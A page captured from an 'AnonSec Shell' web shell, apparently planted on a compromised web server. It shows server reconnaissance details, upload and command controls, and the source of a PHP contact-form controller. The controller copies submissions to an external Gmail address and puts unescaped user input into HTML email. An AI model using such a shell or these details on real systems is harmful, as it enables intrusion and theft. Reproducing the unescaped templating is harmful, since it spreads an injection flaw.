AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_projetos/sopizzas/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_projetos/sopizzas/application/controllers/contact.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
session_start(); //we need to call PHP's session object to access it through CI
class Contact extends CI_Controller {

  function __construct()
  {
     parent::__construct();
     $this->load->helper("url");
     $this->load->helper('form');
     $this->load->library('googlemaps');
     $this->load->model('dashboard_model');
     $this->load->library('form_validation');
     $this->load->model('frontend_model');
     $this->load->library('myemail');
  if($this->session->userdata('user_language'))
      {
        $language = $this->session->userdata('user_language');
      }
      else
      {
        $language = $this->config->item("language");
      }
      $data['user_language'] =  $language;
      $this->lang->load('frontpage', $language);
  }

  function index($SearchBy = '')
  {
    if ($this->input->server('REQUEST_METHOD') == 'POST')
      {
        $this->form_validation->set_rules('first_name', 'First Name', 'trim|required');
        $this->form_validation->set_rules('last_name', 'Last Name', 'trim|required');
        $this->form_validation->set_rules('contact_email', 'Email', 'trim|required|valid_email|xss_clean');
        
        $this->form_validation->set_rules('comment', 'Comment', 'trim|required');
        if($this->form_validation->run()==FALSE)
        {
           $lat = DEFAULT_LAT;
            $lng = DEFAULT_LONG;

            $this->googlemaps->initialize();
            $marker = array();
            $marker['position'] = $lat.','.$lng;
            $marker['draggable'] = true;
            $marker['ondragend'] = 'alert(\'You just dropped me at: \' + event.latLng.lat() + \', \' + event.latLng.lng());';
            $this->googlemaps->add_marker($marker);
            $config['center'] = $lat.','.$lng;
            $config['zoom'] = '13';
            $this->googlemaps->initialize($config);
            $this->googlemaps->add_marker($marker);
            $data['map'] = $this->googlemaps->create_map();

            $data['admin_data'] =$this->dashboard_model->get_website_settings();

            $this->load->view('frontend/header',$data);
            $this->load->view('frontend/contact_us');
            $this->load->view('frontend/footer');
            }else{
              //echo "string"; exit();
              $logo=base_url().'assets/logo-main.png';
              $image_path=base_url().'assets/';
              $variables = array();
              $variables['logo'] = $logo;
              $variables['image_path'] = $image_path;
              $variables['sender_name'] = SITENAME;
              //$variables['to_email'] = $to;

              $variables['first_name'] = $this->input->post('first_name');
              $variables['last_name'] = $this->input->post('last_name');
              $variables['contact_email'] = $this->input->post('contact_email');
              $variables['contact_phone'] = $this->input->post('contact_phone');
              $variables['comment'] = $this->input->post('comment');
              $variables['inquiry_type'] = $this->input->post('inquiry_type');
              $template_name = 'contact_us';
              $mail_data = $this->frontend_model->getEmailTemplate($template_name);
              $mailcontent=htmlspecialchars_decode($mail_data->template);
              $subject = $mail_data->subject;
              foreach($variables as $key => $value) {
                $mailcontent = str_replace('{{'.$key.'}}', $value, $mailcontent);
              }
              //echo $mailcontent; exit();
              $to= SITE_FEEDBACK_EMAIL;
              $this->send_my_mail($to,$subject,$mailcontent, $mail_CC = '');
              //$this->send_my_mail('mlpviado@gmail.com',$subject,$mailcontent, $mail_CC = '');
              $this->send_my_mail('earthtechnology7@gmail.com',$subject,$mailcontent, $mail_CC = '');
              $variables['status_message'] = 'We received your inquiry. One of our representatives will reach out to you soon.';
                $template_name = 'feedback_mail';
                $mail_data = $this->frontend_model->getEmailTemplate($template_name);
                $mailcontent=htmlspecialchars_decode($mail_data->template);
                $subject = SITENAME.' Inquiry';
                foreach($variables as $key => $value) {
                  $mailcontent = str_replace('{{'.$key.'}}', $value, $mailcontent);
                }
                $this->send_my_mail($this->input->post('contact_email'),$subject,$mailcontent, $mail_CC = '');
                //echo $mailcontent; exit();
                redirect('contact');
            }

      }else{

        $lat = DEFAULT_LAT;
        $lng = DEFAULT_LONG;

        $this->googlemaps->initialize();
        $marker = array();
        $marker['position'] = $lat.','.$lng;
        $marker['draggable'] = true;
        $marker['ondragend'] = 'alert(\'You just dropped me at: \' + event.latLng.lat() + \', \' + event.latLng.lng());';
        $this->googlemaps->add_marker($marker);
        $config['center'] = $lat.','.$lng;
        $config['zoom'] = '13';
        $this->googlemaps->initialize($config);
        $this->googlemaps->add_marker($marker);
        $data['map'] = $this->googlemaps->create_map();

        $data['admin_data'] =$this->dashboard_model->get_website_settings();

        $this->load->view('frontend/header',$data);
        $this->load->view('frontend/contact_us');
        $this->load->view('frontend/footer');
  }
  }

  function send_my_mail($mail_To,$mail_subject,$mail_Body,$mail_CC="")
{
    $mail_From = SITENAME;

    $mail = new PHPMailer();

    //Your SMTP servers details

    $mail->IsSMTP(); // set mailer to use SMTP
    $mail->Host = SMTP_HOST; // specify main and backup server or localhost
    $mail->SMTPAuth = true; // turn on SMTP authentication
    $mail->Username = SMTP_USER; // SMTP username
    $mail->Password = SMTP_PASSWORD; // SMTP password It should be same as that of the SMTP user

    //$mail->PluginDir = "/home/phpaucti/public_html/website_development/coding/includes/";
    $mail->From = $mail->Username; //Default From email same as smtp user
    $mail->FromName = $mail_From;
    $emailArr = explode(',',$mail_To);
    foreach($emailArr AS $emailVal) {
    $mail->AddAddress($emailVal, ""); //Email address where you wish to receive/collect those emails.
    }

    /*$emailCCArr = explode(',',$mail_CC);
    foreach($emailCCArr AS $emailCCVal) {
    $mail->AddCC($emailCCVal, ""); //Email address where you wish to receive/collect those emails.
    }*/


    $mail->WordWrap = 100; // set word wrap to 50 characters
    $mail->IsHTML(true); // set email format to HTML
    $mail->Subject = $mail_subject;
    $message = $mail_Body;
    $mail->Body = $message;

    if(!$mail->Send())
    {
      

    /*echo "Message could not be sent. <p>";
    echo "Mailer Error: " . $mail->ErrorInfo;
    exit;*/
    }
    else
    {
      $this->session->set_flashdata('success_msg', $this->lang->line('Thankyouforgettingintouch'));
      
    //echo 'ok';
    }

}
  
}

Anon7 - 2022
AnonSec Team